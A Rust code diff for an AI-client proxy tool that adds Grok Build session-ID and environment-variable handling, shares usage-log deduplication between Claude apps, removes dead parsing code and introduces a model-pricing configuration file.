let prefix = if client_format == "grokbuild" {
"grokbuild"
} else {
"codex"
};
if let Some(result) = extract_responses_session(headers, body, prefix) {
return result;
}
}
@@ -283,16 +123,28 @@ fn extract_claude_session(
extract_from_metadata(body)
}
/// 提取 Codex Session ID
fn extract_codex_session(headers: &HeaderMap, body: &serde_json::Value) -> Option<SessionIdResult> {
/// 提取 Responses 客户端的 Session ID
fn extract_responses_session(
headers: &HeaderMap,
body: &serde_json::Value,
prefix: &str,
) -> Option<SessionIdResult> {
// 1. 从 headers 提取
for header_name in &["session_id", "x-session-id"] {
let header_names: &[&str] = if prefix == "grokbuild" {
// Conversation ID 跨多轮请求保持稳定;session ID 作为客户端缺少
// conversation ID 时的回退。x-grok-req-id 是逐请求 ID,不能用于聚合。
&["x-grok-conv-id", "x-grok-session-id"]
} else {
&["session_id", "x-session-id"]
};
for header_name in header_names {
if let Some(value) = headers.get(*header_name) {
if let Ok(session_id) = value.to_str() {
// Codex Session ID 通常较长(UUID 格式)
let session_id = session_id.trim();
// Responses 客户端的 Session ID 通常较长(UUID 格式)
if session_id.len() > 20 {
return Some(SessionIdResult {
session_id: format!("codex_{session_id}"),
session_id: format!("{prefix}_{session_id}"),
source: SessionIdSource::Header,
client_provided: true,
});
@@ -307,9 +159,10 @@ fn extract_codex_session(headers: &HeaderMap, body: &serde_json::Value) -> Optio
.and_then(|m| m.get("session_id"))
.and_then(|v| v.as_str())
{
let session_id = session_id.trim();
if session_id.len() > 10 {
return Some(SessionIdResult {
session_id: format!("codex_{session_id}"),
session_id: format!("{prefix}_{session_id}"),
source: SessionIdSource::MetadataSessionId,
client_provided: true,
});
@@ -380,121 +233,6 @@ mod tests {
use super::*;
use serde_json::json;
#[test]
fn test_client_format_from_path_claude() {
assert_eq!(
ClientFormat::from_path("/v1/messages"),
ClientFormat::Claude
);
assert_eq!(
ClientFormat::from_path("/api/v1/messages"),
ClientFormat::Claude
);
}
#[test]
fn test_client_format_from_path_codex() {
assert_eq!(
ClientFormat::from_path("/v1/responses"),
ClientFormat::Codex
);
}
#[test]
fn test_client_format_from_path_openai() {
assert_eq!(
ClientFormat::from_path("/v1/chat/completions"),
ClientFormat::OpenAI
);
}
#[test]
fn test_client_format_from_path_gemini() {
assert_eq!(
ClientFormat::from_path("/v1beta/models/gemini-pro:generateContent"),
ClientFormat::Gemini
);
}
#[test]
fn test_client_format_from_path_gemini_cli() {
assert_eq!(
ClientFormat::from_path("/v1internal/models/gemini-pro:generateContent"),
ClientFormat::GeminiCli
);
}
#[test]
fn test_client_format_from_body_claude() {
let body = json!({
"model": "claude-3-5-sonnet",
"messages": [{"role": "user", "content": "Hello"}],
"max_tokens": 1024
});
assert_eq!(ClientFormat::from_body(&body), ClientFormat::Claude);
}
#[test]
fn test_client_format_from_body_codex() {
let body = json!({
"input": "Write a function"
});
assert_eq!(ClientFormat::from_body(&body), ClientFormat::Codex);
}
#[test]
fn test_client_format_from_body_gemini() {
let body = json!({
"contents": [{"parts": [{"text": "Hello"}]}]
});
assert_eq!(ClientFormat::from_body(&body), ClientFormat::Gemini);
}
#[test]
fn test_session_id_uniqueness() {
let session1 = ProxySession::from_request("POST", "/v1/messages", None, None);
let session2 = ProxySession::from_request("POST", "/v1/messages", None, None);
assert_ne!(session1.session_id, session2.session_id);
}
#[test]
fn test_session_from_request() {
let body = json!({
"model": "claude-3-5-sonnet",
"messages": [{"role": "user", "content": "Hello"}],
"max_tokens": 1024,
"stream": true
});
let session =
ProxySession::from_request("POST", "/v1/messages", Some("Mozilla/5.0"), Some(&body));
assert_eq!(session.method, "POST");
assert_eq!(session.request_url, "/v1/messages");
assert_eq!(session.user_agent, Some("Mozilla/5.0".to_string()));
assert_eq!(session.client_format, ClientFormat::Claude);
assert_eq!(session.model, Some("claude-3-5-sonnet".to_string()));
assert!(session.is_streaming);
}
#[test]
fn test_session_with_provider() {
let session = ProxySession::from_request("POST", "/v1/messages", None, None)
.with_provider("provider-123");
assert_eq!(session.provider_id, Some("provider-123".to_string()));
}
#[test]
fn test_client_format_as_str() {
assert_eq!(ClientFormat::Claude.as_str(), "claude");
assert_eq!(ClientFormat::Codex.as_str(), "codex");
assert_eq!(ClientFormat::OpenAI.as_str(), "openai");
assert_eq!(ClientFormat::Gemini.as_str(), "gemini");
assert_eq!(ClientFormat::GeminiCli.as_str(), "gemini_cli");
assert_eq!(ClientFormat::Unknown.as_str(), "unknown");
}
// ========== Session ID 提取测试 ==========
#[test]
@@ -589,6 +327,101 @@ mod tests {
assert!(!result.client_provided);
}
#[test]
fn test_codex_keeps_existing_response_session_headers() {
let body = json!({ "input": "Write a function" });
for header_name in ["session_id", "x-session-id"] {
let mut headers = HeaderMap::new();
headers.insert(
header_name,
"d937243f-2702-4f20-97b6-c9682235ab81".parse().unwrap(),
);
let result = extract_session_id(&headers, &body, "codex");
assert_eq!(
result.session_id,
"codex_d937243f-2702-4f20-97b6-c9682235ab81"
);
assert_eq!(result.source, SessionIdSource::Header);
assert!(result.client_provided);
}
}
#[test]
fn test_grokbuild_prefers_conversation_header() {
let mut headers = HeaderMap::new();
headers.insert(
"x-grok-conv-id",
"conv-724f4275-584e-43af-ad46-b5e7509a3ca2".parse().unwrap(),
);
headers.insert(
"x-grok-session-id",
"session-d937243f-2702-4f20-97b6-c9682235ab81"
.parse()
.unwrap(),
);
let body = json!({ "input": "Write a function" });
let result = extract_session_id(&headers, &body, "grokbuild");
assert_eq!(
result.session_id,
"grokbuild_conv-724f4275-584e-43af-ad46-b5e7509a3ca2"
);
assert_eq!(result.source, SessionIdSource::Header);
assert!(result.client_provided);
}
#[test]
fn test_grokbuild_falls_back_to_session_header() {
let body = json!({ "input": "Write a function" });
for conversation_id in ["", " "] {
let mut headers = HeaderMap::new();
headers.insert("x-grok-conv-id", conversation_id.parse().unwrap());
headers.insert(
"x-grok-session-id",
"session-d937243f-2702-4f20-97b6-c9682235ab81"
.parse()
.unwrap(),
);
let result = extract_session_id(&headers, &body, "grokbuild");
assert_eq!(
result.session_id,
"grokbuild_session-d937243f-2702-4f20-97b6-c9682235ab81"
);
assert_eq!(result.source, SessionIdSource::Header);
assert!(result.client_provided);
}
}
#[test]
fn test_grokbuild_ignores_request_and_codex_session_headers() {
let mut headers = HeaderMap::new();
headers.insert(
"x-grok-req-id",
"request-724f4275-584e-43af-ad46-b5e7509a3ca2"
.parse()
.unwrap(),
);
headers.insert(
"x-session-id",
"codex-d937243f-2702-4f20-97b6-c9682235ab81"
.parse()
.unwrap(),
);
let body = json!({ "input": "Write a function" });
let result = extract_session_id(&headers, &body, "grokbuild");
assert_eq!(result.source, SessionIdSource::Generated);
assert!(!result.client_provided);
}
#[test]
fn test_extract_session_generates_new_when_not_found() {
let headers = HeaderMap::new();
-9
View File
@@ -118,15 +118,6 @@ pub struct ProxyTakeoverStatus {
pub openclaw: bool,
}
/// API 格式类型(预留,当前不需要格式转换)
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[allow(dead_code)]
pub enum ApiFormat {
Claude,
OpenAI,
Gemini,
}
/// Provider健康状态
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ProviderHealth {
-27
View File
@@ -112,16 +112,6 @@ impl CostCalculator {
}
}
/// 尝试计算成本,如果模型未知则返回 None
#[allow(dead_code)]
pub fn try_calculate(
usage: &TokenUsage,
pricing: Option<&ModelPricing>,
cost_multiplier: Decimal,
) -> Option<CostBreakdown> {
pricing.map(|p| Self::calculate(usage, p, cost_multiplier))
}
pub fn try_calculate_for_app(
app_type: &str,
usage: &TokenUsage,
@@ -253,23 +243,6 @@ mod tests {
assert_eq!(cost.total_cost, Decimal::from_str("0.0045").unwrap());
}
#[test]
fn test_unknown_model_handling() {
let usage = TokenUsage {
input_tokens: 1000,
output_tokens: 500,
cache_read_tokens: 0,
cache_creation_tokens: 0,
model: None,
message_id: None,
};
let multiplier = Decimal::from_str("1.0").unwrap();
let cost = CostCalculator::try_calculate(&usage, None, multiplier);
assert!(cost.is_none());
}
#[test]
fn test_decimal_precision() {
let usage = TokenUsage {
+51
View File
@@ -687,6 +687,57 @@ mod tests {
Ok(())
}
#[test]
fn claude_desktop_proxy_replaces_matching_session_log_row() -> Result<(), AppError> {
let db = Database::memory()?;
{
let conn = crate::database::lock_conn!(db.conn);
conn.execute(
"INSERT INTO proxy_request_logs (
request_id, provider_id, app_type, model, input_tokens,
output_tokens, cache_read_tokens, cache_creation_tokens,
latency_ms, status_code, created_at, data_source
) VALUES ('session:msg_desktop', '_session', 'claude',
'claude-sonnet-4-5', 10, 5, 2, 1, 0, 200, 1, 'session_log')",
[],
)?;
}
let usage = TokenUsage {
input_tokens: 10,
output_tokens: 5,
cache_read_tokens: 2,
cache_creation_tokens: 1,
model: Some("claude-sonnet-4-5".to_string()),
message_id: Some("msg_desktop".to_string()),
};
let request_id = usage.dedup_request_id(crate::proxy::usage::parser::dedup_scope_for_app(
"claude-desktop",
"desktop-provider",
));
let mut proxy_log = request_log(&request_id, 10);
proxy_log.provider_id = "desktop-provider".to_string();
proxy_log.app_type = "claude-desktop".to_string();
proxy_log.model = "claude-sonnet-4-5".to_string();
proxy_log.request_model = "claude-sonnet-4-5".to_string();
proxy_log.pricing_model = "claude-sonnet-4-5".to_string();
proxy_log.usage = usage;
UsageLogger::new(&db).log_request(&proxy_log)?;
let conn = crate::database::lock_conn!(db.conn);
let (count, source, app_type): (i64, String, String) = conn.query_row(
"SELECT COUNT(*), data_source, app_type FROM proxy_request_logs
WHERE request_id = 'session:msg_desktop'",
[],
|row| Ok((row.get(0)?, row.get(1)?, row.get(2)?)),
)?;
assert_eq!(count, 1);
assert_eq!(source, "proxy");
assert_eq!(app_type, "claude-desktop");
Ok(())
}
#[test]
fn test_log_error() -> Result<(), AppError> {
let db = Database::memory()?;
+1 -1
View File
@@ -12,4 +12,4 @@ pub use calculator::{CostBreakdown, CostCalculator, ModelPricing};
#[allow(unused_imports)]
pub use logger::{RequestLog, UsageLogger};
#[allow(unused_imports)]
pub use parser::{ApiType, TokenUsage};
pub use parser::TokenUsage;
+29 -169
View File
@@ -30,6 +30,16 @@ fn openai_cache_write_tokens(usage: &Value) -> u32 {
/// Session 日志 request_id 前缀,与 `session_usage.rs` 中的格式保持一致
pub const SESSION_REQUEST_ID_PREFIX: &str = "session:";
/// Claude Code and Claude Desktop share Claude message ids with the session
/// importer, so both use the bare `session:{message_id}` namespace. Other
/// apps retain app/provider scoping to avoid collisions between upstreams.
pub fn dedup_scope_for_app<'a>(
app_type: &'a str,
provider_id: &'a str,
) -> Option<(&'a str, &'a str)> {
(!matches!(app_type, "claude" | "claude-desktop")).then_some((app_type, provider_id))
}
fn response_id(body: &Value, field: &str) -> Option<String> {
body.get(field)
.and_then(Value::as_str)
@@ -82,16 +92,6 @@ impl TokenUsage {
}
}
/// API 类型
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[allow(dead_code)]
pub enum ApiType {
Claude,
OpenRouter,
Codex,
Gemini,
}
impl TokenUsage {
/// 从 Claude API 非流式响应解析
pub fn from_claude_response(body: &Value) -> Option<Self> {
@@ -238,20 +238,6 @@ impl TokenUsage {
}
}
/// 从 OpenRouter 响应解析 (OpenAI 格式)
#[allow(dead_code)]
pub fn from_openrouter_response(body: &Value) -> Option<Self> {
let usage = body.get("usage")?;
Some(Self {
input_tokens: usage.get("prompt_tokens")?.as_u64()? as u32,
output_tokens: usage.get("completion_tokens")?.as_u64()? as u32,
cache_read_tokens: 0,
cache_creation_tokens: 0,
model: None,
message_id: response_id(body, "id"),
})
}
/// 从 Codex API 非流式响应解析
pub fn from_codex_response(body: &Value) -> Option<Self> {
let usage = body.get("usage");
@@ -291,60 +277,6 @@ impl TokenUsage {
})
}
/// 从 Codex API 响应解析并调整 input_tokens
///
/// Codex 的 input_tokens 需要减去 cached_tokens 以获得实际计费的 token 数
/// 公式: adjusted_input = max(input_tokens - cached_tokens, 0)
#[allow(dead_code)]
pub fn from_codex_response_adjusted(body: &Value) -> Option<Self> {
let usage = body.get("usage")?;
let input_tokens = usage.get("input_tokens")?.as_u64()? as u32;
let output_tokens = usage.get("output_tokens")?.as_u64()? as u32;
// 获取 cached_tokens (可能在 cache_read_input_tokens 或 input_tokens_details 中)
let cached_tokens = openai_cache_read_tokens(usage);
let cache_write_tokens = openai_cache_write_tokens(usage);
// 调整 input_tokens: OpenAI total input 同时包含 cache read/write 两桶。
let adjusted_input = input_tokens
.saturating_sub(cached_tokens)
.saturating_sub(cache_write_tokens);
// 提取响应中的模型名称
let model = body
.get("model")
.and_then(|v| v.as_str())
.map(|s| s.to_string());
Some(Self {
input_tokens: adjusted_input,
output_tokens,
cache_read_tokens: cached_tokens,
cache_creation_tokens: cache_write_tokens,
model,
message_id: response_id(body, "id"),
})
}
/// 从 Codex API 流式响应解析
#[allow(dead_code)]
pub fn from_codex_stream_events(events: &[Value]) -> Option<Self> {
log::debug!("[Codex] 解析流式事件,共 {} 个事件", events.len());
for event in events {
if let Some(event_type) = event.get("type").and_then(|v| v.as_str()) {
log::debug!("[Codex] 事件类型: {event_type}");
if event_type == "response.completed" {
if let Some(response) = event.get("response") {
log::debug!("[Codex] 找到 response.completed 事件,解析 usage");
return Self::from_codex_response_adjusted(response);
}
}
}
}
log::debug!("[Codex] 未找到 response.completed 事件");
None
}
/// 智能 Codex 响应解析 - 自动检测 OpenAI 或 Codex 格式
///
/// Codex 支持两种 API 格式:
@@ -557,6 +489,25 @@ mod tests {
.starts_with("session:"));
}
#[test]
fn claude_apps_share_the_session_request_id_namespace() {
let usage = TokenUsage {
message_id: Some("msg_123".to_string()),
..Default::default()
};
for app_type in ["claude", "claude-desktop"] {
assert_eq!(
usage.dedup_request_id(dedup_scope_for_app(app_type, "provider-a")),
"session:msg_123"
);
}
assert_eq!(
usage.dedup_request_id(dedup_scope_for_app("codex", "provider-a")),
"session:codex:provider-a:msg_123"
);
}
#[test]
fn stream_parsers_recover_ids_from_envelope_chunks() {
let openai = vec![
@@ -750,22 +701,6 @@ mod tests {
assert_eq!(usage.model, None);
}
#[test]
fn test_openrouter_response_parsing() {
let response = json!({
"usage": {
"prompt_tokens": 100,
"completion_tokens": 50
}
});
let usage = TokenUsage::from_openrouter_response(&response).unwrap();
assert_eq!(usage.input_tokens, 100);
assert_eq!(usage.output_tokens, 50);
assert_eq!(usage.cache_read_tokens, 0);
assert_eq!(usage.cache_creation_tokens, 0);
}
#[test]
fn test_gemini_response_parsing() {
let response = json!({
@@ -883,81 +818,6 @@ mod tests {
assert_eq!(usage.input_tokens, 1000);
assert_eq!(usage.cache_read_tokens, 300);
assert_eq!(usage.cache_creation_tokens, 200);
let adjusted = TokenUsage::from_codex_response_adjusted(&response).unwrap();
assert_eq!(adjusted.input_tokens, 500);
assert_eq!(adjusted.cache_read_tokens, 300);
assert_eq!(adjusted.cache_creation_tokens, 200);
}
#[test]
fn test_codex_response_adjusted() {
let response = json!({
"usage": {
"input_tokens": 1000,
"output_tokens": 500,
"input_tokens_details": {
"cached_tokens": 300
}
}
});
let usage = TokenUsage::from_codex_response_adjusted(&response).unwrap();
// input_tokens 应该被调整: 1000 - 300 = 700
assert_eq!(usage.input_tokens, 700);
assert_eq!(usage.output_tokens, 500);
assert_eq!(usage.cache_read_tokens, 300);
}
#[test]
fn test_codex_response_adjusted_no_cache() {
let response = json!({
"usage": {
"input_tokens": 1000,
"output_tokens": 500
}
});
let usage = TokenUsage::from_codex_response_adjusted(&response).unwrap();
// 没有 cached_tokensinput_tokens 保持不变
assert_eq!(usage.input_tokens, 1000);
assert_eq!(usage.output_tokens, 500);
assert_eq!(usage.cache_read_tokens, 0);
}
#[test]
fn test_codex_response_adjusted_cache_read_input_tokens() {
let response = json!({
"usage": {
"input_tokens": 1000,
"output_tokens": 500,
"cache_read_input_tokens": 200
}
});
let usage = TokenUsage::from_codex_response_adjusted(&response).unwrap();
assert_eq!(usage.input_tokens, 800);
assert_eq!(usage.output_tokens, 500);
assert_eq!(usage.cache_read_tokens, 200);
}
#[test]
fn test_codex_response_adjusted_saturating_sub() {
// 测试 cached_tokens > input_tokens 的边界情况
let response = json!({
"usage": {
"input_tokens": 100,
"output_tokens": 50,
"input_tokens_details": {
"cached_tokens": 200
}
}
});
let usage = TokenUsage::from_codex_response_adjusted(&response).unwrap();
// saturating_sub 确保不会下溢
assert_eq!(usage.input_tokens, 0);
assert_eq!(usage.cache_read_tokens, 200);
}
#[test]
File diff suppressed because one or more lines are too long
+82 -15
View File
@@ -31,25 +31,46 @@ pub fn check_env_conflicts(app: &str) -> Result<Vec<EnvConflict>, String> {
Ok(conflicts)
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum EnvKeyword {
Exact(&'static str),
Prefix(&'static str),
}
/// Get relevant keywords for each app
fn get_keywords_for_app(app: &str) -> Vec<&str> {
fn get_keywords_for_app(app: &str) -> Vec<EnvKeyword> {
match app.to_lowercase().as_str() {
"claude" => vec!["ANTHROPIC"],
"codex" => vec!["OPENAI"],
"gemini" => vec!["GEMINI", "GOOGLE_GEMINI"],
"claude" => vec![EnvKeyword::Prefix("ANTHROPIC")],
"codex" => vec![EnvKeyword::Prefix("OPENAI")],
"gemini" => vec![
EnvKeyword::Prefix("GEMINI"),
EnvKeyword::Prefix("GOOGLE_GEMINI"),
],
"grokbuild" | "grok" => vec![
EnvKeyword::Exact("XAI_API_KEY"),
EnvKeyword::Exact("GROK_DEFAULT_MODEL"),
],
_ => vec![],
}
}
fn matches_env_keyword(name: &str, keywords: &[EnvKeyword]) -> bool {
let upper_name = name.to_uppercase();
keywords.iter().any(|keyword| match keyword {
EnvKeyword::Exact(name) => upper_name == *name,
EnvKeyword::Prefix(prefix) => upper_name.starts_with(prefix),
})
}
/// Check system environment variables (Windows Registry or Unix env)
#[cfg(target_os = "windows")]
fn check_system_env(keywords: &[&str]) -> Result<Vec<EnvConflict>, String> {
fn check_system_env(keywords: &[EnvKeyword]) -> Result<Vec<EnvConflict>, String> {
let mut conflicts = Vec::new();
// Check HKEY_CURRENT_USER\Environment
if let Ok(hkcu) = RegKey::predef(HKEY_CURRENT_USER).open_subkey("Environment") {
for (name, value) in hkcu.enum_values().filter_map(Result::ok) {
if keywords.iter().any(|k| name.to_uppercase().contains(k)) {
if matches_env_keyword(&name, keywords) {
conflicts.push(EnvConflict {
var_name: name.clone(),
var_value: value.to_string(),
@@ -65,7 +86,7 @@ fn check_system_env(keywords: &[&str]) -> Result<Vec<EnvConflict>, String> {
.open_subkey("SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
{
for (name, value) in hklm.enum_values().filter_map(Result::ok) {
if keywords.iter().any(|k| name.to_uppercase().contains(k)) {
if matches_env_keyword(&name, keywords) {
conflicts.push(EnvConflict {
var_name: name.clone(),
var_value: value.to_string(),
@@ -80,12 +101,12 @@ fn check_system_env(keywords: &[&str]) -> Result<Vec<EnvConflict>, String> {
}
#[cfg(not(target_os = "windows"))]
fn check_system_env(keywords: &[&str]) -> Result<Vec<EnvConflict>, String> {
fn check_system_env(keywords: &[EnvKeyword]) -> Result<Vec<EnvConflict>, String> {
let mut conflicts = Vec::new();
// Check current process environment
for (key, value) in std::env::vars() {
if keywords.iter().any(|k| key.to_uppercase().contains(k)) {
if matches_env_keyword(&key, keywords) {
conflicts.push(EnvConflict {
var_name: key,
var_value: value,
@@ -100,7 +121,7 @@ fn check_system_env(keywords: &[&str]) -> Result<Vec<EnvConflict>, String> {
/// Check shell configuration files for environment variable exports (Unix only)
#[cfg(not(target_os = "windows"))]
fn check_shell_configs(keywords: &[&str]) -> Result<Vec<EnvConflict>, String> {
fn check_shell_configs(keywords: &[EnvKeyword]) -> Result<Vec<EnvConflict>, String> {
let mut conflicts = Vec::new();
let home = std::env::var("HOME").unwrap_or_else(|_| "/tmp".to_string());
@@ -131,7 +152,7 @@ fn check_shell_configs(keywords: &[&str]) -> Result<Vec<EnvConflict>, String> {
let var_value = export_line[eq_pos + 1..].trim();
// Check if variable name contains any keyword
if keywords.iter().any(|k| var_name.to_uppercase().contains(k)) {
if matches_env_keyword(var_name, keywords) {
conflicts.push(EnvConflict {
var_name: var_name.to_string(),
var_value: var_value
@@ -157,12 +178,58 @@ mod tests {
#[test]
fn test_get_keywords() {
assert_eq!(get_keywords_for_app("claude"), vec!["ANTHROPIC"]);
assert_eq!(get_keywords_for_app("codex"), vec!["OPENAI"]);
assert_eq!(
get_keywords_for_app("claude"),
vec![EnvKeyword::Prefix("ANTHROPIC")]
);
assert_eq!(
get_keywords_for_app("codex"),
vec![EnvKeyword::Prefix("OPENAI")]
);
assert_eq!(
get_keywords_for_app("gemini"),
vec!["GEMINI", "GOOGLE_GEMINI"]
vec![
EnvKeyword::Prefix("GEMINI"),
EnvKeyword::Prefix("GOOGLE_GEMINI")
]
);
assert_eq!(get_keywords_for_app("unknown"), Vec::<&str>::new());
assert_eq!(
get_keywords_for_app("grokbuild"),
vec![
EnvKeyword::Exact("XAI_API_KEY"),
EnvKeyword::Exact("GROK_DEFAULT_MODEL")
]
);
assert_eq!(
get_keywords_for_app("grok"),
get_keywords_for_app("grokbuild")
);
assert_eq!(get_keywords_for_app("unknown"), Vec::<EnvKeyword>::new());
}
#[test]
fn grok_keywords_only_match_credentials() {
let keywords = get_keywords_for_app("grokbuild");
assert!(matches_env_keyword("XAI_API_KEY", &keywords));
assert!(matches_env_keyword("xai_api_key", &keywords));
assert!(matches_env_keyword("GROK_DEFAULT_MODEL", &keywords));
assert!(matches_env_keyword("grok_default_model", &keywords));
assert!(!matches_env_keyword("MY_XAI_API_KEY", &keywords));
assert!(!matches_env_keyword("XAI_API_KEY_BACKUP", &keywords));
assert!(!matches_env_keyword("MY_GROK_DEFAULT_MODEL", &keywords));
assert!(!matches_env_keyword("GROK_DEFAULT_MODEL_BACKUP", &keywords));
assert!(!matches_env_keyword("GROK_BIN_DIR", &keywords));
assert!(!matches_env_keyword("GROK_HOME", &keywords));
}
#[test]
fn broad_app_keywords_match_only_at_the_start() {
let keywords = get_keywords_for_app("claude");
assert!(matches_env_keyword("ANTHROPIC_API_KEY", &keywords));
assert!(matches_env_keyword("anthropic_base_url", &keywords));
assert!(!matches_env_keyword("MY_ANTHROPIC_API_KEY", &keywords));
assert!(!matches_env_keyword("NOT_ANTHROPIC", &keywords));
}
}
+1
View File
@@ -6,6 +6,7 @@ pub mod env_checker;
pub mod env_manager;
pub mod mcp;
pub mod model_fetch;
pub mod model_pricing;
pub mod omo;
pub mod profile;
pub mod prompt;
+761
View File
@@ -0,0 +1,761 @@
use crate::config::{atomic_write, get_app_config_dir};
use crate::database::{lock_conn, Database};
use crate::error::AppError;
use rusqlite::{params, Transaction};
use rust_decimal::Decimal;
use serde::{Deserialize, Serialize};
use std::collections::{BTreeMap, BTreeSet};
use std::fs;
use std::path::PathBuf;
use std::str::FromStr;
use std::sync::{Mutex, OnceLock};
const MODEL_PRICING_FILE_NAME: &str = "model-pricing.json";
const MODEL_PRICING_FILE_VERSION: u32 = 1;
static MODEL_PRICING_FILE_LOCK: OnceLock<Mutex<()>> = OnceLock::new();
fn file_lock() -> &'static Mutex<()> {
MODEL_PRICING_FILE_LOCK.get_or_init(|| Mutex::new(()))
}
fn default_true() -> bool {
true
}
fn default_file_version() -> u32 {
MODEL_PRICING_FILE_VERSION
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ModelPricingInfo {
pub model_id: String,
pub display_name: String,
pub input_cost_per_million: String,
pub output_cost_per_million: String,
pub cache_read_cost_per_million: String,
pub cache_creation_cost_per_million: String,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ModelsDevSyncConfig {
#[serde(default)]
pub auto_sync_enabled: bool,
#[serde(default = "default_true")]
pub include_common_models: bool,
#[serde(default)]
pub selected_model_keys: Vec<String>,
#[serde(default)]
pub excluded_common_model_keys: Vec<String>,
#[serde(default)]
pub last_sync_at: Option<i64>,
#[serde(default)]
pub last_sync_error: Option<String>,
}
impl Default for ModelsDevSyncConfig {
fn default() -> Self {
Self {
auto_sync_enabled: false,
include_common_models: true,
selected_model_keys: Vec::new(),
excluded_common_model_keys: Vec::new(),
last_sync_at: None,
last_sync_error: None,
}
}
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
struct ModelPricingFile {
#[serde(default = "default_file_version")]
version: u32,
#[serde(default)]
models_dev_sync: ModelsDevSyncConfig,
#[serde(default)]
models: Vec<ModelPricingInfo>,
#[serde(default)]
deleted_model_ids: Vec<String>,
}
impl Default for ModelPricingFile {
fn default() -> Self {
Self {
version: MODEL_PRICING_FILE_VERSION,
models_dev_sync: ModelsDevSyncConfig::default(),
models: Vec::new(),
deleted_model_ids: Vec::new(),
}
}
}
#[derive(Debug, Clone, Serialize)]
#[serde(rename_all = "camelCase")]
pub struct ModelsDevSyncState {
pub config: ModelsDevSyncConfig,
pub config_path: String,
}
pub fn model_pricing_file_path() -> PathBuf {
get_app_config_dir().join(MODEL_PRICING_FILE_NAME)
}
fn normalize_decimal(label: &str, value: &str) -> Result<String, AppError> {
let value = value.trim();
let parsed = Decimal::from_str(value).map_err(|error| {
AppError::localized(
"usage.invalidPrice",
format!("{label} 价格无效: {value} - {error}"),
format!("{label} price is invalid: {value} - {error}"),
)
})?;
if parsed < Decimal::ZERO {
return Err(AppError::localized(
"usage.invalidPrice",
format!("{label} 价格必须为非负数: {value}"),
format!("{label} price must be non-negative: {value}"),
));
}
Ok(value.to_string())
}
fn normalize_pricing(entry: ModelPricingInfo) -> Result<ModelPricingInfo, AppError> {
let model_id = entry.model_id.trim().to_string();
let display_name = entry.display_name.trim().to_string();
if model_id.is_empty() {
return Err(AppError::localized(
"usage.modelIdRequired",
"模型 ID 不能为空",
"Model ID is required",
));
}
if display_name.is_empty() {
return Err(AppError::localized(
"usage.displayNameRequired",
"显示名称不能为空",
"Display name is required",
));
}
Ok(ModelPricingInfo {
model_id,
display_name,
input_cost_per_million: normalize_decimal("input_cost", &entry.input_cost_per_million)?,
output_cost_per_million: normalize_decimal("output_cost", &entry.output_cost_per_million)?,
cache_read_cost_per_million: normalize_decimal(
"cache_read_cost",
&entry.cache_read_cost_per_million,
)?,
cache_creation_cost_per_million: normalize_decimal(
"cache_creation_cost",
&entry.cache_creation_cost_per_million,
)?,
})
}
fn normalize_key_list(values: Vec<String>) -> Vec<String> {
values
.into_iter()
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty())
.collect::<BTreeSet<_>>()
.into_iter()
.collect()
}
fn normalize_sync_config(mut config: ModelsDevSyncConfig) -> ModelsDevSyncConfig {
config.selected_model_keys = normalize_key_list(config.selected_model_keys);
config.excluded_common_model_keys = normalize_key_list(config.excluded_common_model_keys);
config.last_sync_error = config.last_sync_error.and_then(|error| {
let trimmed = error.trim();
if trimmed.is_empty() {
None
} else {
Some(trimmed.chars().take(1000).collect())
}
});
config
}
fn normalize_file(mut file: ModelPricingFile) -> Result<ModelPricingFile, AppError> {
if file.version > MODEL_PRICING_FILE_VERSION {
return Err(AppError::Config(format!(
"model-pricing.json version {} is newer than supported version {}",
file.version, MODEL_PRICING_FILE_VERSION
)));
}
let deleted = normalize_key_list(file.deleted_model_ids)
.into_iter()
.collect::<BTreeSet<_>>();
let mut models = BTreeMap::new();
for entry in file.models {
let entry = normalize_pricing(entry)?;
if !deleted.contains(&entry.model_id) {
models.insert(entry.model_id.clone(), entry);
}
}
file.version = MODEL_PRICING_FILE_VERSION;
file.models_dev_sync = normalize_sync_config(file.models_dev_sync);
file.models = models.into_values().collect();
file.deleted_model_ids = deleted.into_iter().collect();
Ok(file)
}
fn read_file_unlocked() -> Result<Option<ModelPricingFile>, AppError> {
let path = model_pricing_file_path();
if !path.exists() {
return Ok(None);
}
let content = fs::read_to_string(&path).map_err(|error| AppError::io(&path, error))?;
let file = serde_json::from_str(&content).map_err(|error| AppError::json(&path, error))?;
normalize_file(file).map(Some)
}
fn write_file_unlocked(file: &ModelPricingFile) -> Result<(), AppError> {
let path = model_pricing_file_path();
let mut data = serde_json::to_vec_pretty(file)
.map_err(|error| AppError::Config(format!("序列化模型定价配置失败: {error}")))?;
data.push(b'\n');
atomic_write(&path, &data)
}
fn load_or_create_file_unlocked() -> Result<ModelPricingFile, AppError> {
if let Some(file) = read_file_unlocked()? {
return Ok(file);
}
// The local file stores user/models.dev overrides only. Exporting the
// complete seeded table here would turn built-in prices into overrides and
// roll back future repair_current_model_pricing corrections on startup.
let file = ModelPricingFile::default();
write_file_unlocked(&file)?;
Ok(file)
}
fn upsert_pricing(
transaction: &Transaction<'_>,
entry: &ModelPricingInfo,
) -> Result<usize, AppError> {
transaction
.execute(
"INSERT INTO model_pricing (
model_id, display_name, input_cost_per_million, output_cost_per_million,
cache_read_cost_per_million, cache_creation_cost_per_million
) VALUES (?1, ?2, ?3, ?4, ?5, ?6)
ON CONFLICT(model_id) DO UPDATE SET
display_name = excluded.display_name,
input_cost_per_million = excluded.input_cost_per_million,
output_cost_per_million = excluded.output_cost_per_million,
cache_read_cost_per_million = excluded.cache_read_cost_per_million,
cache_creation_cost_per_million = excluded.cache_creation_cost_per_million
WHERE display_name <> excluded.display_name
OR input_cost_per_million <> excluded.input_cost_per_million
OR output_cost_per_million <> excluded.output_cost_per_million
OR cache_read_cost_per_million <> excluded.cache_read_cost_per_million
OR cache_creation_cost_per_million <> excluded.cache_creation_cost_per_million",
params![
entry.model_id,
entry.display_name,
entry.input_cost_per_million,
entry.output_cost_per_million,
entry.cache_read_cost_per_million,
entry.cache_creation_cost_per_million
],
)
